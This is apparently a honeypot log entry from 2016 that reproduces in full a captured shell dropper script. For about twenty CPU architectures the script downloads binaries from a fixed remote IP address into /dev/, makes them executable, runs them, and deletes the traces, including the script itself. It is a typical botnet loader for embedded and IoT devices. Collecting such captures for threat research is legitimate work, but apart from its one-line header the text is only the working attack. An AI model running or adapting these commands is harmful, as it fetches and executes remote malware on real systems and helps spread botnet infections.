Honeypot Payload! Seen on: 2016-04-15 20:49

#!/bin/sh

wget -c http://185.103.252.14/armv4l -P /dev/ ; chmod +x /dev/armv4l ; /dev/armv4l;rm -rf armv4l
wget -c http://185.103.252.14/armv5l -P /dev/ ; chmod +x /dev/armv5l ; /dev/armv5l;rm -rf armv5l
wget -c http://185.103.252.14/i586 -P /dev/ ; chmod +x /dev/i586 ; /dev/i586;rm -rf i586
wget -c http://185.103.252.14/i686 -P /dev/ ; chmod +x /dev/i686 ; /dev/i686;rm -rf i686
wget -c http://185.103.252.14/m68k -P /dev/ ; chmod +x /dev/m68k ; /dev/m68k;rm -rf m68k
wget -c http://185.103.252.14/mips -P /dev/ ; chmod +x /dev/mips ; /dev/mips;rm -rf mips
wget -c http://185.103.252.14/mipsel -P /dev/ ; chmod +x /dev/mipsel ; /dev/mipsel;rm -rf mipsel
wget -c http://185.103.252.14/powerpc -P /dev/ ; chmod +x /dev/powerpc ; /dev/powerpc;rm -rf powerpc
wget -c http://185.103.252.14/powerpc440 -P /dev/ ; chmod +x /dev/powerpc440 ; /dev/powerpc440;rm -rf powerpc440
wget -c http://185.103.252.14/sh4 -P /dev/ ; chmod +x /dev/sh4 ; /dev/sh4;rm -rf sh4
wget -c http://185.103.252.14/x86_64 -P /dev/ ; chmod +x /dev/x86_64 ; /dev/x86_64;rm -rf x86_64
wget -c http://185.103.252.14/armv4l4 -P /dev/ ; chmod +x /dev/armv4l4 ; /dev/armv4l4;rm -rf armv4l4
wget -c http://185.103.252.14/armv5l4 -P /dev/ ; chmod +x /dev/armv5l4 ; /dev/armv5l4;rm -rf armv5l4
wget -c http://185.103.252.14/i5864 -P /dev/ ; chmod +x /dev/i5864 ; /dev/i5864;rm -rf i5864
wget -c http://185.103.252.14/i6864 -P /dev/ ; chmod +x /dev/i6864 ; /dev/i6864;rm -rf i6864
wget -c http://185.103.252.14/m68k4 -P /dev/ ; chmod +x /dev/m68k4 ; /dev/m68k4;rm -rf m68k4
wget -c http://185.103.252.14/mips4 -P /dev/ ; chmod +x /dev/mips4 ; /dev/mips4;rm -rf mips4
wget -c http://185.103.252.14/mipsel4 -P /dev/ ; chmod +x /dev/mipsel4 ; /dev/mipsel4;rm -rf mipsel4
wget -c http://185.103.252.14/powerpc4 -P /dev/ ; chmod +x /dev/powerpc4 ; /dev/powerpc4;rm -rf powerpc4
wget -c http://185.103.252.14/powerpc4404 -P /dev/ ; chmod +x /dev/powerpc4404 ; /dev/powerpc4404;rm -rf powerpc4404
wget -c http://185.103.252.14/sh44 -P /dev/ ; chmod +x /dev/sh44 ; /dev/sh44;rm -rf sh44
wget -c http://185.103.252.14/x86_644 -P /dev/ ; chmod +x /dev/x86_644 ; /dev/x86_644;rm -rf x86_644

sleep 3;
rm -fr /dev/gb.sh